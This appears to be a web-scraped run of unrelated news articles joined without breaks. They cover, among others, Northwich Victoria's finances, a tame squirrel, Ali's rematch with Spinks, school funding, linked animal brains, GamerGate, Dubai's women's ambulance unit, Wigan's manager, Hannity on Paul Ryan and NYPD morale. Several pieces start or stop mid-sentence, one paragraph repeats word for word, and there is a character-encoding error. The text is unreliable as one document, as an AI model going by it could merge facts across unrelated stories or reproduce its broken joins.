Rushe, still Vics' owner now, sank £325,000 in to pay wages and running costs, as did his then partner, Nick Bone, but it was insufficient to bail out the club and by May 2009 Her Majesty's Revenue and Customs had issued a winding-up petition for £433,902 unpaid taxes. Rushe took the club into administration again, and bought it back himself. "It was my dream to own a football club with a workable model," Rushe explains. "I knew what I was doing, and I still believe it is workable."
Connett, too, was having difficulties. In October 2008 Deloitte was appointed as receiver of the stadium by Clydesdale Bank, which had lent money to Connett, and the bank repossessed Vics' new ground. January 2009 was one of the grimmest periods in Northwich Victoria's long history, as they were forced to wander for the first time since they arrived at the Drill Field in 1875. Ultimately they returned to play their games at Victoria Stadium, but only on a short-term licence from the receiver, which was looking to sell it.
Rushe formed a new company and tried to borrow the money to buy the ground but due to the credit crunch, he says, no bank would lend to a venture whose anchor tenant was a non-league football club. The Conference insists that clubs emerging from administration pay all their debts and in 2010, despite another storming FA Cup run, in which Vics beat Charlton Athletic live on ITV in the first round, the club were expelled and relegated to the Evo-Stik Northern Premier League.
Rushe says he had paid a deposit in another serious effort to buy the ground, but could not secure the funding again. Finally Thor Specialities which, the company's managing director David Hewitt says, makes preservatives |
for a cuddle and became inseparable.
‘I put out my hand and he jumped on and looked adoringly at me,’ said the ranger.
‘Then he clambered all over me.
‘He has lost his family and thinks I’m his dad. He’s more like a monkey than a squirrel and I’m convinced he thinks he’s human.’
Oakley has also won the hearts of staff at Central Park, in Peterborough, where he is given ice cream and cake in the tea room.
The rodent, named after the park’s mascot, may have a lucrative career ahead.
‘I was going to train him to pick up litter â he’d be happy with the wage, we get peanuts here,’ said Mr Swift (let’s hope the squirrel’s sense of humour is better than Mr Swift’s…).
Oakley has been taken in by a local woman but keeps in touch. Mr Swift said: ‘I was gutted; he’s adorable. But he will come to visit so it’s a good arrangement.’Read more articles by
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MUHAMMAD ALI, in the twilight of his glittering career, avenged his defeat to Leon Spinks, in front of a record breaking crowd at the Superdome, in New Orleans, on September 15, 1978.
In 1978, Ali, the much decorated champion, squared off against Spinks on two separate occasions, which both went the distance. Father time was quickly catching up on the self proclaimed “Greatest”, and with nothing left to prove in the sport, the controversial Kentuckian would soon after retire.
The signs of a physical decline were evident during a bout with the stoic Earnie Shavers, the previous year. Absorbing concussive punishment against an inferior fighter, the 36-year-old laboured to a unanimous decision.
Shortly after, the New York State athletic commission confirmed suspicions Ali was nearing the end of his career, declaring the Olympic gold medallists’ kidneys were failing. Ferdie Pacheco, his long time doctor and confidant, prescribed a clear course of action, signalling to Ali and his team that the time had come to hang up the gloves.
Against doctors’ orders Ali signed to fight Spinks, who also boasted an Olympic gold medal. The ill-advised bout was scheduled to take place in the city of sin, Las Vegas, in February, 1978.
The fighter, born Cassius Clay, was unprepared for the contest, allegedly sparring just 20 rounds.
The champion entered the ring, under the lights in Las Vegas, looking out of sorts and out of shape. The Heavyweight who claimed he “floats like a butterfly” looked bloated as he de-robed and touched gloves.
Regardless of the champion being past his best, Spinks, from St Louis, was still the heavy underdog. While Spinks enjoyed an illustrious amateur career, winning gold in the 1976 Olympic Games, in Montreal, he was a mere novice in the professional ranks, with only eight fights to his credit.
The lethargic Ali struggled to get a foothold in the fight. His renowned reflexes, footwork, movement, and even speech, appeared impaired. It was, perhaps, the first signs of Parkinson’s disease, which he would be tragically diagnosed with in later life.
The fight, which is comparable to a modern day matchup between champion Wladimir Klitschko and the inexperienced Anthony Joshua, went the distance. The contender, who was the aggressor throughout, churned out a surprise split decision against the heavyweight king.
The new WBC heavyweight champion of the world was immediately stripped of his crown, having chosen to take the Ali rematch, overseen by the WBA, instead of facing his WBC mandatory, Ken Norton.
Spinks proved in preparation for his return with Ali that for some, too much can come too soon. His fondness for the nightlife earned Spinks the moniker “Neon Leon”, as he detrimentally embraced his new found fame and fortune.
On September 15, 1978, Ali returned to the ring, appearing conditioned and focused. Over 15 rounds, the improved Ali was awarded a unanimous verdict, out boxing the young champion, and becoming the first man to be crowned heavyweight world champion, on three occasions.Image caption Head teachers from the Worth Less? campaign brought their message to Downing St
Head teachers representing more than 5,000 schools across England are supporting a protest letter to the chancellor over "inadequate" funding.
The letter, being delivered to Downing Street, warns of schools increasingly having to make "desperate requests to parents for 'voluntary' donations".
Heads are calling for an extra £1.7bn per year for schools.
The government has already moved £1.3bn of education funding directly into school budgets.
The protest, ahead of next week's Budget, has been organised by regional groups of head teachers representing schools with 3.5 million pupils in 30 local authorities from Cornwall to Cumbria.
It follows a letter warning about funding cuts, sent to the parents of more than 2.5 million pupils in September.
This is the biggest collective protest so far from the school funding campaigners, who have been warning of an overall lack of investment and a failure to resolve differences in levels of per pupil spending.
Funding differences
"It is extraordinary that some English secondary schools will receive 60% less funding than others of the same size," says the letter to Chancellor Philip Hammond.
"The impact on class sizes, curriculum offer and staffing is obvious," the heads write. "A school receiving over £4m more than another could, for example, afford 133 more teachers."
Image caption West Sussex head Jules White co-ordinated a funding warning sent to 2.5 million families
The government has recognised the regional anomalies in funding and published a new national funding formula.
But the heads argue that changes in how funding is allocated will depend on there being enough overall money in the system.
Despite the promise to move £1.3bn from the Department for Education's budget directly into school spending, the heads say they will still have faced a real-terms cut of £1.7bn between 2015 and 2020.
Without this £1.7bn being restored, heads are warning the chancellor:
they will not be able to afford to recruit teachers
class sizes will rise
subjects will have to be withdrawn
sixth forms could close
special needs pupils will not get the support they need
Labour's shadow education secretary Angela Rayner said the government "needs to start listening to head teachers and concerned parents".
"Despite Tory spin, the new funding formula does nothing to reverse the cuts to budgets and every penny they have found just comes from cutting other education provision - it isn't fair, and it isn't funded."
But school standards minister, Nick Gibb, said the £1.3bn being put into school budgets "will put an end to historic disparities in the system".
"There are no cuts in funding - every school will see an increase in funding through the formula from 2018, with secondary schools set to receive at least £4,800 per pupil by 2019-20.
"As the independent Institute for Fiscal Studies has confirmed, overall schools funding is being protected at a national level in real terms per pupil over the next two years."Neuroscientists at Duke University have introduced a new paradigm for brain-machine interfaces that investigates the physiological properties and adaptability of brain circuits, and how the brains of two or more animals can work together to complete simple tasks.
These brain networks, or Brainets, are described in two articles to be published in the July 9, 2015, issue of Scientific Reports. In separate experiments reported in the journal, the brains of monkeys and the brains of rats are linked, allowing the animals to exchange sensory and motor information in real time to control movement or complete computations.
In one example, scientists linked the brains of rhesus macaque monkeys, who worked together to control the movements of the arm of a virtual avatar on a digital display in front of them. Each animal controlled two of three dimensions of movement for the same arm as they guided it together to touch a moving target.
In this movie, three monkeys share control over the movement of a virtual arm in 3-D space. Each monkey contributes to two of three axes (X, Y and Z). Monkey C contributes to y- and z-axes (red dot), monkey M contributes to x- and y-axes (blue dot), and monkey K contributes to y- and z-axes (green dot). The contribution of the two monkeys to each axis is averaged to determine the arm position (represented by the black dot). Credit: Miguel Nicolelis, Duke Medicine
In the rodent experiment, scientists networked the brains of four rats complete simple computational tasks involving pattern recognition, storage and retrieval of sensory information, and even weather forecasting.
Brain-machine interfaces (BMIs) are computational systems that allow subjects to use their brain signals to directly control the movements of artificial devices, such as robotic arms, exoskeletons or virtual avatars.
The Duke researchers, working at the Center for Neuroengineering, have previously built BMIs to capture and transmit the brain signals of individual rats, monkeys, and even human subjects to artificial devices.
“This is the first demonstration of a shared brain-machine interface, a paradigm that has been translated successfully over the past decades from studies in animals all the way to clinical applications,” said Miguel Nicolelis, M.D., Ph. D., co-director of the Center for Neuroengineering at the Duke University School of Medicine and principal investigator for the study. “We foresee that shared BMIs will follow the same track, and could soon be translated to clinical practice.”
To complete the experiments, Nicolelis and his team outfitted the animals with arrays implanted in their motor and somatosensory cortices to capture and transmit their brain activity.
For one experiment highlighted in the primate article, researchers recorded the electrical activity of more than 700 neurons from the brains of three monkeys as they moved a virtual arm toward a target. In this experiment, each monkey mentally controlled two out of three dimensions (i.e., x-axis and y-axis; see video) of the virtual arm.
The monkeys could be successful only when at least two of them synchronized their brains to produce continuous 3-D signals that moved the virtual arm. As the animals gained more experience and training in the motor task, researchers found that they adapted to the challenge.
The study described in the second paper used groups of three or four rats whose brains were interconnected via microwire arrays in the somatosensory cortex of the brain and received and transmitted information via those wires.
In one experiment, rats received temperature and barometric pressure information and were able to combine information with the other rats to predict an increased or decreased chance of rain. Under some conditions, the authors observed that the rat Brainet could perform at the same level or better than one rat on its own.
These results support the original claim of the same group that Brainets may serve as test beds for the development of organic computers created by the interfacing of multiple animal brains with computers.
Nicolelis and colleagues of the Walk Again Project, based in the project’s laboratory in Brazil, are currently working on a non-invasive human Brainet to be used for neuro-rehabilitation training in paralyzed patients.
Featured Image: Two Rhesus Macaques at Blijdorp Zoo, Rotterdam (Netherlands) Credit: jinterwas, CC BY
Provided by: Duke University Medical CenterMuch like Barbie's former love, the majority of this human Ken doll's body is made of plastic.
Though he wants a physique like Barbie's boyfriend. Justin Jedlica a 32-year-old from New York City, didn't work out a bit to carve out his sculpted abs, bulbous pecs and bulging biceps. There's no need for working out, which he calls "so not exciting -- not glamorous," according to ABC News.
Jedlica underwent 90 different plastic surgeries over the past 10 years, completely transforming his figure into what he calls a human Ken doll for about $100,000. That includes silicone implants in his buttocks, belly, biceps and triceps, among others.
"I love to metamorphosize myself, and the stranger the surgery the better," he told ABC News. "Bucking the norm is so much fun."
PHOTO (Story continues below):
He and doctors agree that so much silicone is putting his life at risk, but he says it's a small price to pay for the perfect body, according to Oddity Central.
Growing up, Jedlica said he became obsessed with the size of his nose and wanted it to be smaller. Five nose jobs later, he says it's close, but not perfect.
He told "20/20" that he won't stop changing his body any time soon.
It's unclear what his thoughts are on Valeria Lukyanova, the 24-year-old Ukrainian model who used plastic surgery to make herself into a human Barbie doll.This morning the Supreme Court will be hearing arguments in a case that may determine whether businesses providing services for weddings— like bakers, florists, photographers—may decline to provide goods and services for same-sex couples based on their religious objections to gay marriage.
In Masterpiece Bakeshop Ltd. vs. Colorado Civil Rights Commission, bakery owner Jake Phillips was ruled to have violated the state's anti-discrimination and public accommodation laws by declining to make a wedding cake for a gay couple. Phillips has countered that his speech is being compelled and his religious freedom is being violated by being forced by law to produce a cake for the couple.
There will be some complicated questions before the court: Do religious freedom protections extend to decisions by a business not to serve certain customers? Is refusing to serve gay couples getting married fundamentally different from rejecting gay people entirely? Is baking a cake or creating a bouquet of flowers fundamentally an act of speech or artistic expression protected by the First Amendment? Is providing goods and services to a gay couple getting married the equivalent of recognizing and supporting same-sex marriage?
The American Civil Liberties Union is representing the gay couple. The Alliance Defending Freedom represents the bakery and its owner. The Department of Justice under Attorney General Jeff Sessions has declared support for Phillips.
The Reason Foundation (the nonprofit that publishes Reason.com and Reason magazine), joined the Cato Institute and the Individual Rights Foundation in an amicus brief supporting Phillips. The brief argues the court should consider the creation of cakes and floral arrangements a form of expressive speech and urges the court to resist the mandate to provide these goods and services.
Not all liberty-minded legal experts agree. Law professors Eugene Volokh and Dale Carpenter (of The Volokh Conspiracy group blog) have come down on the opposite side with a brief supporting the state of Colorado. They argue the act of cake-baking has not typically been seen as a form of expressive speech that should be protected by the First Amendment. This matters to Volokh and Carpenter, having previously argued that a wedding photographer should not be forced to provide services for a same-sex wedding because photographs and photography are recognized as a form of expression.
Carpenter further explained to Reason in an email the circumstances of the Mastershop case encouraged them to align with the opposite side: "The particular facts of the case show a 20-second conversation where the baker said 'no' before even learning what the customers might want beyond a generic wedding cake. There was no discussion of words, images, or symbols. In our view, that's stretching the protection of'speech' too far."
Libertarians may be frustrated with the Supreme Court's decision not to address freedom of association between private businesses and customers. There is very little evidence the court will consider the larger concept of if, when, or how states or cities determine when businesses are allowed to reject customers.
Government, in my opinion, should have to show a serious, significant, widespread problem threatening people's livelihoods before considering restricting the right of a business owner to refuse to associate or contract with certain customers. Wedding services do not, by any means, fall into this category of concern. I predict a close, narrowly tailored ruling, but I'm still undecided on which direction.
Reason's Stephanie Slade will be at the court today listening to arguments. Expect a follow-up post later today about the nature of those arguments and the mood of the court.As someone said recently, there’s dembow everywhere -- now, even in electronic music!
Blending dance with reggaeton seems to be a combustible, irresistible mix, or, at least, so thought Norwegian electronic DJ and producer Alekander Vinter (aka Blanco), who turned to Latin and Caribbean beats for his upcoming EP, Blanco.
Farruko On His No. 1 Debut 'Visionary' & the New Sound of Reggaeton
“I definitely wanted to start a project that brought the island style music to the more electronic music,” says Vinter. “When I hear that style in electronic music, I think those are the grooviest flavors you can put there.”
For some reggaeton flavor, he tapped Dyland (of reggaeton duo Dyland y Lenny) and generated some surprising results in “Camarilla.”
A blend of electronica with aggressive bass beats and just a suggestion of dembow, the track is one of those rousing dance floor invitations, with Dyland’s bilingual rapping riding over it in a bold staccato.
“I grew up with a lot of different kinds of music,” says Vinter. “I heard Daddy Yankee on the radio with ‘Gasolina’ like 15 years ago, and I fell in love right there and then with that style of music. It’s been haunting me ever since. Working with someone like Dyland has been a dream for some time."
Check out the exclusive premiere of “Camarilla,” here:
Fans can preorder Blanco here.The #GamerGate movement claimed to highlight concerns with ethics in video game culture, but became associated with vicious harassment of women in the industry. Have attitudes changed since then?
The video game industry is booming. Global games revenue is expected to reach US$108.9bn in 2017, according to the April 2017 Global Games Market Report from Newzoo, with 2.2 billion people around the world gaming. Video games have often been looked upon as a male hobby, with games designed to appeal to boys and men. In the past you’d have mainly found female characters in games in need of saving – and also often in need of clothes – but there have been clear moves away from this video-game trope.
More strong female characters have come to the fore – take the evolution of ‘Tomb Raider’ protagonist Lara Croft. When she first appeared on our consoles, the focus appeared to be on her top-heavy ‘features’. Over the years the spotlight has moved away from her appearance to her physical strengths and survival instincts.
Today, the gender split of gamers is close to 50:50. According to the US-based Entertainment Software Association (ESA), women aged 18 or older represent a significantly greater proportion (31 per cent) of the game-playing population than boys under the age of 18 (18 per cent).
Even though a large proportion of gamers are women, the number of female game developers remains low. According to the 2016 International Game Developers Association (IGDA) Developer Satisfaction Survey, only 23 per cent of people working in development are female.
Why is this the case? Many say it’s down to the same issues that face the whole of the engineering and technology sector: that not enough schoolchildren are choosing to study STEM subjects and go into technical careers.
However, there are some that believe this industry still holds onto a ‘boys’ club’ mentality, with female developers faced with discriminatory jokes, having their appearance ‘rated’ or their technical skills belittled. Josie Nutter, for example, a US software engineer and games programmer who’s helped create titles including ‘Tomb Raider: Legend’, ‘Justice League Heroes’ and ‘Plants vs. Zombies 2’, was once called an “unhirable feminazi”.
Many who’ve experienced such issues shared stories on Twitter using the hashtag #OneReasonWhy to highlight why many women are either put off joining, or leave the gaming industry.
When she was a student studying game art in Detroit, Danette Beatty’s teachers suggested that she talk to an industry professional to get a critique of her work. However, after a few telephone conversations she could see that “it was clear that wasn’t all he wanted”.
“Jokes got lewd and I didn’t know what to do in that situation as he was high up at a company I could potentially work for, so I went along with it. By the time it became too uncomfortable to put up with, he accused me of making a move on him by allowing it to continue,” she says.
Through her own experiences, US-based computer programmer and game developer Brianna Wu quickly learnt that as a young female developer she wasn’t considered a true part of the team at work.
“On the run up to the release of ‘Halo 3’, I heard all the guys in the office whispering about the launch, and the day it was released they all played hooky – including my manager. The only two people left on the floor to deal with all the work that day were me, the only woman on the team, and the one gay guy who worked there. It very much sent a message that we weren’t part of their club.”
Breaking into any industry can be hard work, but is it tougher for women to join the game development industry than men? Talking to those already working in the sector, views are mixed.
“I believe the gaming industry is difficult for anyone to break into – it isn’t a gendered issue,” explains animator and marketing assistant Chloe Price. “Studios want people with talent and they’re not going to deliberately make it difficult for women and remove that avenue of talent. I’m a firm believer that studios will always try to hire the best person for the job and that gender doesn’t, and shouldn’t, come into it. In fact, in my experience women are more likely to be hired than men with similar skills because studios want to have a more equal gender split. There are so many people wanting to do what we do that companies are only going to take the best of the best – as they should.”
Kate Edwards, executive director of the IGDA, disagrees. She thinks it’s still tougher for women to break into the industry.
“While there are some women who had key roles in building the game industry we know today, the ongoing under-representation of women has unfortunately solidified an implicit yet inaccurate perception that women just aren’t interested in creating games,” she says. “In company cultures, this can take all forms of explicit or implicit discrimination or bias and the longer it persists, the more difficult it can be to change. Any woman seeking to work in the game industry will likely either overtly or subtly run into some issues that become systemic when their presence isn’t considered ‘normal’.”
For those women who do choose a career in the developer suite, sometimes workplace culture, such as lack of flexible working opportunities, can eventually lead to them leaving the industry.
Take the industry practice of ‘crunch time’. This is when staff are expected to work extended hours of up to 50-69 hours per week in order to complete a game on schedule. This becomes less manageable for both men and women when children come along.
“Games are always late and over budget, which always involves some sort of crunch period,” says Elaine Green, director of independent software developer Nellyvision. “I’ve had holidays cancelled/refused due to projects overrunning. The problem with flexi-time would be guaranteeing that someone could leave at a certain time each day, as meetings overrun or move, or something needs to be urgently changed because the publisher wants to see it that afternoon, etc. As games generally involve agile development, it’s not like a job where you arrive in the morning, do a set task for eight hours and leave. I’ve always had a great deal of freedom with regards to working hours, but inevitably the job comes first.”
Beatty, who now works in the UK as a 3D artist for Ustwo Games, says she also feels it can be tougher for female developers to gain respect. “While a guy might not be questioned on their experience or expertise, women still need to prove that they are qualified for the job and have to work twice as hard to back it up lest they make a mistake,” she notes.
Games designer Elizabeth Sampat is an activist for minority groups in gaming. She adds that some women also have concerns that having a family might negatively affect their career. “I think a lot of women are terrified to get pregnant – not just because of poor maternity leave in the US, but because you spend your entire career trying to be seen a certain way and then there’s a real chance that work will be undone and you’ll just be seen as a mum.” Games designer Elizabeth Sampat is an activist for minority groups in gaming. She adds that some women also have concerns that having a family might negatively affect their career. “I think a lot of women are terrified to get pregnant – not just because of poor maternity leave in the US, but because you spend your entire career trying to be seen a certain way and then there’s a real chance that work will be undone and you’ll just be seen as a mum.”
The issue of sexism in the video-game industry was truly laid bare in the mass media in 2014 during the ‘GamerGate’ controversy, which saw heated online discussions around games journalism ethics and the representation of women in the industry. It was triggered by a derogatory blog post written by the ex-boyfriend of US game developer Zoe Quinn, which shared intimate stories of their relationship and led to unproven accusations that she traded sex for positive reviews of her latest game.
GamerGate did bring about important discussions about ethics in games journalism, and the gaming press was made to look closely at its relationship with developers and publishers. However, it also gave a group of anonymous misogynists the opportunity to launch an online harassment campaign against female games creators.
Quinn, anyone who came to her support, and sometimes even those that didn’t, were targeted for online abuse by a small group of trolls (people who make intentionally offensive or provocative online posts) who went as far as sending rape and death threats to many women working in the sector. After a year of abuse, Quinn moved from Boston to Seattle to start over, and has since created the Crash Override Network, a support group for victims of large-scale online abuse. She also continues to make games.
Although trolling and internet abuse is in no way unique to the US, from the small group of developers interviewed across the UK, Europe and America, ‘sexism in the developer suite’ seems to be a much worse problem in the US than elsewhere. Many European female developers have experienced little, if any, bad treatment.
“I can hand-on-heart say that I have never experienced any kind of sexism from the animation, VFX or gaming industries,” says Chloe Price, who is based in south-east England. “I’ve never been made to feel like my skills or opinions are less important because of my gender. I believe gaming is one of the most accepting communities.”
“I didn’t leave the game industry, but I did leave the American game industry and move to Denmark,” adds Sampat. “It was the best decision of my career, and in many ways, I didn’t realise how tiring the institutional biases in the US actually were, because they were all I’d ever known.
“A few weeks ago, one of the higher-ups at my company called me ‘ambitious’ and I had to actually stop myself from apologising and denying it, because in my entire career I’d never heard a woman being called ambitious as a compliment before,” she notes.
A harrowing experience for all involved, GamerGate has left its mark on the industry.
“I think mainstream media coverage opened a lot of previously unaware eyes to the type of harassment that female developers experience regularly,” says Nutter. “In some ways, this continues to have a negative impact – discouraging women from entering the industry and motivating certain companies to distance themselves from controversy in ways that are disproportionately detrimental to their female employees. Despite those things, growing awareness has really helped rally more people against bigotry and online bullying,” she adds.
“The underlying problem represented by this incident still persists, and targeted harassment continues off-and-on,” notes Edwards. “For individual women developers, it’s made some paranoid and wary of remaining in the industry, while most are much more aware of the steps they need to protect themselves online as well as better recognising and responding to harassment.
“Yet in the end I believe the overall impact to the game industry was a net positive because this episode raised the level of dialogue about the critical need for diversity and inclusion, and has spurred coordinated efforts to earnestly make that happen industry-wide, including the IGDA’s stated goal to double the number of women working in the industry by 2025.”
Sampat says it’s a mistake to believe that the furore of GamerGate ended sexism in the sector. “In a lot of ways it sucked being a female developer before GamerGate, and things are slowly getting worse because people treat ‘women in games’ as a solved problem – like GamerGate was a weird year-long blip and now sexism in our industry is gone. (But) the boots on the ground are still there being assholes to women.”
Having written about anonymous harassment of women in the industry during the height of GamerGate, Brianna Wu began to receive threats of her own. She believes there’s now a better sense of the issues out there, but policies aren’t necessarily changing in response. Feeling so strongly about equal treatment in the workplace, she’s now running for Congress.
“What makes me want to scream is that no one knows me for my engineering work, only my views on women’s equality. I’ve worked so hard to become an engineer, but the truth is you’re put in this impossible situation where you can smile, go along with the system and get fewer opportunities, or speak out and be put in this box. There’s a heightened awareness, but these congenital problems aren’t really solved. I believe women need to step up and run for office, and I hope to use my position to hold hearings on sexism in the tech industry.”
Other responses to GamerGate have included promoting the hashtag #OneReasonToBe. This was started by games narrative writer Rhianna Pratchett so women could share positive experiences about working in the industry and reasons why they love games. This has gone on to spawn a popular annual panel at the Games Developer Conference (GDC), highlighting great things the sector has to offer women.
Clearly there’s still a long way to go, but Edwards does believe mindsets towards women in gaming are changing for the better. “Many companies have become more self-conscious of their diversity – or lack of – and I think this level of awareness is crucial for long-term change to occur. It’s also been encouraging to see more companies focus on the problem of unconscious bias.
“In addition, we’re seeing games companies slowly realising the need to address problems of scheduling and crunch time if they want to attract more women. I think the reality is that games companies understand they’re in competition for talent from the broader tech sector, [where many firms offer] greater benefits and perks. In order to stay competitive, they must evolve their business practices into something more inclusive of all potential talent.”
Female developers can also find support and networking opportunities through groups like Women in Games, conferences aimed at women in the industry and awards highlighting gaming industry diversity and successes of women in gaming.
The next task is to engage with schoolgirls to show the career opportunities available to them in the sector.
Edwards says: “We need to ensure there is a clear pipeline for young women to realise that game development is a solid career choice, and that there will be resources available to help them succeed.
“This can be a challenging place to work when you’re in the minority, but at this juncture you may need to be the pioneer – the only woman in a company, or among the few female programmers. Someone has to fulfil those roles now of being the pioneers and helping to diversify this industry, so it might as well be you because your example will inspire many others to follow your path.”In the past month, the streets of Dubai have been dotted with pink cars with women in pink uniforms. The phenomenon is a new initiative called the Women Responders Unit, intended to provide first aid and emergency services for women only.
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The project was launched by the state ambulance service about a month ago, to allow women more privacy in these situations. "In our society, Arab Muslim society, when patients call for help, they want privacy and they want to feel comfortable," said Bashayer al-Rimm, an emergency medical technician, in a conversation with AFP. She added that they are looking to preserve the privacy of the woman in a way that is consistent with our customs and traditions.
One of the medical professionals operating the women-only service
"This is a fully trained female team," said one of the project's superiors in Dubai. "The driver has a lot of knowledge in getting to the scene of accidents with casualties as soon as possible, and this is also true of the first aid provider in the vehicle."
Dubai said last month that there was a demand for pink ambulance services from women in the emirate. The service was designed to help women who were in labor and children who were in distress. "We have already received 55 calls," they said. Following its success, they intend to introduce another vehicle as part of the service.
Not everyone in the Arab world has applauded the project. One such criticism came from Egypt, where a service of pink taxis has already been launched, offering transportation services to women alone, in an effort to combat sexual harassment, a phenomenon that has become wide-spread in Egyptian society. A female anchor from Egyptian channel DreamTV referred to news of the Saudi Women Responders Unit by saying, "We like to imitate everything, but we are also a slightly more open society." she added that "these things are a bit more suitable for the Gulf countries than for us.
Guys, it's medicine. It shouldn't be segregated," the anchor added. "There are many things like women's cafés or taxis for women, which deepen the separation in society. In the end, we are all human beings."Wigan Athletic part company with Manager Warren Joyce.
Wigan Athletic part company with Manager Warren Joyce.
Graham Barrow made Interim Manager for the remainder of the season.
“The standard of our play has been below expectation” – David Sharpe
Wigan Athletic can confirm that the club has parted company with Manager Warren Joyce with immediate effect and that Assistant Manager Graham Barrow has been made Interim Manager for the remainder of the season.
Appointed in November 2016, Joyce managed the team for 22 league matches, winning five, drawing five and losing 12. At home, there has just been one victory and three draws from 11 league matches, scoring in just three of those games.
Following the weekend’s results, the team finds itself four points from safety with just nine games of the Sky Bet Championship season remaining.
Chairman David Sharpe said: “It is unfortunate that we have made this decision but with the team in such a perilous position in the league, we need to act now because we cannot afford to fall any further behind.
“Warren was appointed with the future in mind in terms of developing players but preserving our Championship status is the absolute priority and we have a duty to do whatever gives us the best chance of doing that.
“Results and performances have simply not been up to standard often enough in recent matches and although we acknowledge the difficulties faced in managing a team in a league where we are competing against clubs with much larger budgets, the nature of some of our recent defeats, especially against close rivals, has fallen short in terms of what we as a club, and all our supporters, expect.”
The club can confirm that Head of First Team Coaching Andy Welsh has also left with immediate effect.
The club would like to place on record its thanks to Warren and Andy and wish them well for the future.Sean Hannity on Thursday blasted Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) for withholding his support from Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE’s White House run.
"I'm not ready to support Speaker Ryan anymore," Hannity said on last night's program. "I'm thinking maybe we need a new Speaker."
In a series of earlier tweets, the Fox News host ripped Ryan hours after the Speaker said he wasn't ready to endorse the party's presumptive nominee.
@SpeakerRyan You have to be kidding me on @realDonaldTrump. Establishment out to sabotage GOP nominee, yet they betrayed the base #Pathetic — Sean Hannity (@seanhannity) May 5, 2016
Good luck with no wall, Obamacare, liberal justices, common core, more debt, refugees not vetted, and Pres. Hillary https://t.co/2G64uInQ2T — Sean Hannity (@seanhannity) May 6, 2016
Trump's final two opponents for the GOP nomination, Sen. Ted Cruz Rafael (Ted) Edward CruzCornyn less popular than Cruz in Texas: poll Trump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington MORE (R-Texas) and Ohio Gov. John Kasich, dropped out this week, but Hannity said Ryan, the highest ranking elected Republican nationally, was ignoring the will of the people.
Exactly. The Hell with what the voters think. Circular firing squad now led by @SpeakerRyan https://t.co/nXqrLYvQKk — Sean Hannity (@seanhannity) May 6, 2016
Ryan on Thursday said that he is not yet capable of supporting Trump as the Republican standard-bearer next fall.
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“To be perfectly candid with you … I’m just not ready to do that at this point,” he said on CNN’s “The Lead." "I’m not there right now.”
Trump counterpunched later that evening, commenting that he remains skeptical of Ryan’s agenda in Congress.
“Perhaps in the future we can work together and come to an agreement about what is best for the American people,” he said in a statement. "They have been treated so badly for so long that it is about time for politicians to put them first!”
Trump on Tuesday won Indiana’s GOP presidential primary, clearing the path to become the party’s presumptive presidential nominee.
The billionaire’s bruising nominating race, however, has left many Republicans swearing they will not back him heading into next November’s general election.The prevailing theme of ethical, legal, social concern focused on the need to find a balance between the marketplace, scientific research, and the public’s health. The themes we identified are intended to serve as points for discussions about the relationship between scientific research and the manufacture and distribution of over-the-counter dietary supplements in the United States.
Continued |
is clear that humans have become exceptionally proficient at moving earth, and that the consequences of this, particularly the resulting loss of agricultural soil, are cause for concern. Coupled with an impending shortage of the raw ingredients for fertilizer and active consumption of groundwater at rates faster than it is being replenished in many agricultural areas, it seems unlikely that Earth's present human population can be sustained for many more decades, let alone the projected increased population.North Korea on Sunday launched an unidentified projectile, just a week after Pyongyang carried out its most successful ballistic missile test, South Korean military has confirmed.
Seoul : North Korea on Sunday launched an unidentified projectile, just a week after Pyongyang carried out its most successful ballistic missile test, South Korean military has confirmed.
"North Korea fired an unidentified projectile from a site in the vicinity of Pukchang in Pyeongannam-do, South Pyeongan province, and it flew for about 500 km," Yonhap news agency quoted the Joint Chiefs of Staff as saying in a statement.
On May 14, North Korea launched the a Hwasong-12 ballistic missile which flew for about 30 minutes and landed in water 100 km south of Russia's Vladivostok region, the home of the Russian Pacific Fleet, reports CNN.
North Korea has attempted at least 10 missile launches on seven occasions since January.The vast majority of NYPD officers who answered a new survey hate their jobs and believe they were a lot safer before Mayor de Blasio and Police Commissioner Bill Bratton took office, according to a new survey by the city’s police union.
The polling of more than 6,000 of the NYPD’s roughly 24,000 rank-and-file revealed a resounding lack of passion for the job, with cops on average rating morale at just 2.49 on a scale of 1 to 10.
“The results of this survey prove what we’ve been hearing time and time again from members over the past two years — the job is more difficult than ever, the dangers are greater, and morale is extremely low,” said Patrick Lynch, president of the Patrolmen’s Benevolent Association.
Roughly 87 percent of cops said the Big Apple has become “less safe” since the new administration took over at the beginning of 2014, with 55 percent of those respondents describing New York City as “a lot less safe.”
Ninety-six percent of cops also said that relations between cops and the communities they patrol have gotten worse during the same period — even as Bratton has made repairing those relationships a cornerstone of his policing strategy.
Meanwhile, 89 percent of cops polled said they would quit the NYPD if they were offered a higher-paying job in law enforcement, while 86 percent said they would not recommend the job to family members.
Police officers who work the beat said cops are so dispirited because they don’t feel like they have the support of the communities where they work — or of the NYPD brass, for that matter.
“Morale is terrible. It’s always been bad, but this is the worst [it has been],” said a cop who works in Manhattan. “Even though Bratton stands up there and tells you, ‘We’re not about numbers, we’re not about summonses,’ that’s a lot of BS.”
But a high-ranking NYPD official said that while the survey highlights areas that need improvement, it is far from scientific and was likely answered by “people on the extremes.”
“The department has not received the survey,” said NYPD spokesman Peter Donald. “When and if we receive it, we will review it.”
City Hall spokeswoman Monica Klein dismissed the survey, calling its findings “highly suspect.”
“We are experiencing historic lows in criminal activity. Murders and shootings are at their lowest in modern history,” Klein said.
“[The] NYPD is the most effective police force in the country thanks to our officers’ dedication and commitment to their job.”
Additional reporting by Shawn Cohen and Michael GartlandClear eyes, full hearts, can lose.
The long-gestating Friday Night Lights feature film has been sacked, according to exec producer Peter Berg.
“There’s not gonna be a movie,” Berg told Collider.com. “We talked about it, some people thought it was a good idea, some didn’t; I’ve come to believe it’s probably not a good idea and I seriously doubt it’s gonna happen.”
Among those who thought it was a good idea was FNL leading lady Connie Britton, who has been championing the Jason Katims-penned project for well over a year.
However, Britton’s FNL hubby, Kyle Chandler, has been less than enthusiastic about transferring Coach Taylor to the big screen.
“My general attitude about Friday Night Lights is, it was a great movie with Billy Bob [Thorton, who starred in the original film] and it was a great TV show,” Chandler told MTV News last year. “They ended it at exactly the right time and in exactly the right way, as well.”
Which side of the FNL debate did you fall on?
